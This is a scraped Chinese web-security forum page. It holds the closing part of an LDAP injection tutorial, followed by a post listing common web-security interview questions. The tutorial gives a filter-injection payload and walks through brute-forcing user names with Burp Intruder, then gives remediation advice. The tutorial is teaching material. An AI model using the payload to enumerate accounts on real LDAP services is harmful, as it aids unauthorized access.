User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Connection: close
Upgrade-Insecure-Requests: 1

4.3 遍历全部用户

攻击payload , (&(name=h)) % 00(passwd=hacker))  代表多个,因此我们可以a -z 进行匹配,burpsuit进行爆破遍历。具体截图如下:

step1: 发送到 intruder

QQ图片20180816112846.png


step2:增加变量,具体见截图

增加变量.png


step3,增加变量字典

QQ截图20180816113238.png


step4 开始遍历

一共跑出来两个用户,admin 和 hacker 具体截图如下:

QQ截图20180816113413.png



五 、修复建议
    []客户端发送给服务器的参数中包含了特殊字符,服务器代码端需要对变量进行检查和净化处理。[/][]圆括号、星号、逻辑操作符、关系运操作符在应用层都必须过滤。[/][]无论什么时候,只要可能,构造LDAP搜索过滤器的值在发送给LDAP服务器查询之前都要用应用层有效地值列表来核。[/]

大学生毕业季和实习季,Web安全安全常见面试题

ttgo2 发表了文章 • 4 个评论 • 345 次浏览 • 2018-08-16 17:03 • 来自相关话题

大学生毕业季和实习季,Web安全安全常见面试题 (原创文章,转载请标明出处,谢谢)

Web安全涉及知识点太广了,总体上比较吃经验,用人单位看重有挖掘经验的,但是对基础知识的掌握也是很看重的,针对web安全行业,小编针对技术面试官简单总结了一下,希望能对大家有用。

一、最常见的经验问题:

1、 准备好自己的简历,面试官绝大部分题目都是来自你的简历内容,应该对自己的简历好好准备,简历要突出代码能力和挖掘经验,这点是最吸引面试官的简历
2、 有自己的博客吗? 这里考察学习的内容,知识积累、学习方向和知识深度。因此建议大家有写博客的习惯。
3、 是否参加过众测项目?在其他知名平台是否发布过自己的文章?

二、技术点问题:

2.1 协议安全

1、DDOS的攻击原理、类型和防御
2、什么是DNS有什么样的安全问题?

2.2 数据库安全,中间件, 操作系统

1、msyql的安全问题有哪些?
2、中间件的解析漏洞?
3、操作系统的日志安全管理?

2.3 核心web安全漏洞,

web漏洞种类比较多,这里不列举,举例如下:
企业web安全渗透测试流程谈一下sql 注入漏洞文件上传突破的方法xxs、csrf等漏洞说一下你挖掘过的逻辑漏洞?

2.4 最近一年多发生的0day,或者安全事件

2.5 框架性的漏洞?

举例 stust
Struts2 ,心脏出血,等等


三、现场笔试题

笔试题一般在半个小时做完,除了考察你的基础知识,还是考你的态度,所有一定要认真做题,不要胡乱勾画。


四、其他

找工作除了自己实力,自己的性格积极开朗也很重要,不会别乱喷,谁都有自己的知识盲点,面试官可以理解。


最后:希望这些多少能对大家有点作用, 祝大家都能在就业过程中一帆风顺。 查看全部
大学生毕业季和实习季,Web安全安全常见面试题 (原创文章,转载请标明出处,谢谢)

Web安全涉及知识点太广了,总体上比较吃经验,用人单位看重有挖掘经验的,但是对基础知识的掌握也是很看重的,针对web安全行业,小编针对技术面试官简单总结了一下,希望能对大家有用。

一、最常见的经验问题

1、 准备好自己的简历,面试官绝大部分题目都是来自你的简历内容,应该对自己的简历好好准备,简历要突出代码能力和挖掘经验,这点是最吸引面试官的简历
2、 有自己的博客吗? 这里考察学习的内容,知识积累、学习方向和知识深度。因此建议大家有写博客的习惯。
3、 是否参加过众测项目?在其他知名平台是否发布过自己的文章?

二、技术点问题:

2.1 协议安全

1、DDOS的攻击原理、类型和防御
2、什么是DNS有什么样的安全问题?

2.2 数据库安全,中间件, 操作系统

1、msyql的安全问题有哪些?
2、中间件的解析漏洞?
3、操作系统的日志安全管理?

2.3 核心web安全漏洞

web漏洞种类比较多,这里不列举,举例如下:
  1. 企业web安全渗透测试流程
  2. 谈一下sql 注入漏洞
  3. 文件上传突破的方法
  4. xxs、csrf等漏洞
  5. 说一下你挖掘过的逻辑漏洞?


2.4 最近一年多发生的0day,或者安全事件

2.5 框架性的漏洞?


举例 stust
Struts2 ,心脏出血,等等


三、现场笔试题

笔试题一般在半个小时做完,除了考察你的基础知识,还是考你的态度,所有一定要认真做题,不要胡乱勾画。


四、其他

找工作除了自己实力,自己的性格积极开朗也很重要,不会别乱喷,谁都有自己的知识盲点,面试官可以理解。


最后:希望这些多少能对大家有点作用, 祝大家都能在就业过程中一帆风顺。

Ldap Injection 入门学习

回复

ttgo2 发起了问题 • 2 人关注 • 0 个回复 • 284 次浏览 • 2018-08-16 11:40 • 来自相关话题